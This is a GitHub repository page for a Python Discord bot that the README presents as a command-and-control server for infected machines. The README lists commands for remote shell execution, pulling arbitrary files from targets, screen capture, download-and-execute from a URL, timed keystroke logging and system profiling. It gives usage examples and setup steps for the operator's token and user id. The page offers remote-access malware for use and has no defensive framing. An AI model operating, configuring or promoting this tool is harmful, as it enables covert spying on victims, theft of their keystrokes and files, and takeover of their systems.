Skip to content

r3dsweater/c2-discord-python

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

11 Commits
 
 
 
 
 
 

Repository files navigation

C2 Python Discord Bot

What's "C2 Discord bot" ?

The C2 Discord bot utilizes the Discord's Developer functionality that allows you to make bots capable to interager with the user acting like a Command and Control Server.


Before continue you must follow the steps covered on Discord's Documentaion.


C2 Discord bot commands:

Command Functions
$b All bots receive commands
$wake Show active bots
$shell <cmd> Execute a command on target system
$upload <file> Download a arbitrary file from target system
$grab Screen capture from target system
$down_exec <url> Download a file to target system and execute it
$klogging <sec> Start keystroke logging on target system
$sysinfo Get information from target system

Examples:


In the following example all bots will return stdout from the shell command.

$b $shell dir *.png

Or if you want to interact with only one specific bot:

$Bot-name $shell dir *.png


Get the keystroke logger every 30 seconds. The bot will send to you in a .txt format:

$b $klogging 30


Remember:

  • Put your discord token in 'PUT YOUR TOKEN HERE' in the botDiscord.py file.
  • Replace '000000' in the botDiscord.py file to your user id.

About

C2 Python Discord bot

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages